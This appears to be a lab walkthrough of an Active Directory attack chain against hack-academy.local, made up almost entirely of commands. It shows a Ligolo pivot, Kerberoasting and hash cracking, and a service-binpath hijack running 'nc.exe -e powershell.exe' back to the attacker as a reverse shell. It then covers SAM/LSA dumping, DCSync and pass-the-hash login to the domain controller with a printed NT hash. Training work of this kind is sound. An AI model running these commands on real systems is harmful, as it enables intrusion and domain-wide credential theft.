AD Chain 05 — Blueprint AD-Chains (hack-academy.local)

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: emiller : raymond1:P

#blueprint ad-chains#adchain#walkthrough#boxes#os:windows#os:linux#tech:active-directory#tech:password-attack

AD Chain 05 — Blueprint AD-Chains (hack-academy.local)

Blueprint AD-Chain lab. Domain: hack-academy.local (DC01). Initial creds: emiller : raymond1:P

Enumeration + pivot

🐺 howlsec@kalishell

$nxc smb 192.168.1.0/24    # only CLIENT-1 (192.168.1.169) reachable
$xfreerdp3 /v:192.168.1.169 /u:'emiller' /p:'raymond1:P' /cert:ignore /drive:linux,/opt/ +clipboard

CLIENT-1 has two NICs — pivot into 10.0.2.0/24 with Ligolo:

🐺 howlsec@kalishell

$sudo ip tuntap add user kali mode tun ligolo && sudo ip link set ligolo up
$sudo ip route add 10.0.2.0/24 dev ligolo
$sudo ./proxy -selfcert
$.\agent.exe -connect <KaliIP>:11601 -ignore-cert   # then: session / start
$nxc smb 10.0.2.0/24   # DC01 (.4), CLIENT-2 (.9), CLIENT-1 (.7)

Kerberoasting -> svc_web

🐺 howlsec@kalishell

$nxc smb 10.0.2.4 -u emiller -p 'raymond1:P' --users | ... | tee users
$nxc ldap 10.0.2.4 -u emiller -p 'raymond1:P' --bloodhound --collection All --dns-server 10.0.2.4
$sudo rdate -n 10.0.2.4    # fix clock skew
$impacket-GetUserSPNs -dc-ip 10.0.2.4 'hack-academy.local/emiller:raymond1:P' -request   # svc_web SPN
$john --wordlist=rockyou.txt kerb_hash    # svc_web : oDr@gon13

WinRM to CLIENT-2 + writable service (AgentSvc)

🐺 howlsec@kalishell

$nxc winrm ips -u users -p passwords --continue-on-success   # svc_web Pwn3d on CLIENT-2
$evil-winrm -i 10.0.2.9 -u 'svc_web' -p 'oDr@gon13'
$# PrivescCheck -> AgentSvc has an "Everyone: FullControl" DACL, AUTO_START as LocalSystem
$sc.exe qc AgentSvc
$sc.exe config agentsvc binpath= "C:\Windows\Tasks\nc.exe -e powershell.exe <KaliIP> 443"
$# transfer nc.exe, start listener, then:
$sc.exe start agentsvc    # -> SYSTEM

Dump local creds -> pprice -> domain compromise

🐺 howlsec@kalishell

$net localgroup "administrators" svc_web /add
$nxc smb 10.0.2.9 -u users -p passwords --sam
$nxc smb 10.0.2.9 -u users -p passwords --lsa    # reveals pprice hash
$john --wordlist=rockyou.txt hash    # pprice : P@ssw0rd

BloodHound: pprice has outbound control over ITSYNC, which controls the whole domain (DCSync). Dump the domain:

🐺 howlsec@kalishell

$impacket-secretsdump 'hack-academy.local/pprice:P@ssw0rd@10.0.2.4'
$# Administrator NT hash: c0ced2de918b4a7c1b9f4efd225dd503
$evil-winrm -i 10.0.2.4 -u 'Administrator' -H 'c0ced2de918b4a7c1b9f4efd225dd503'   # DC01 owned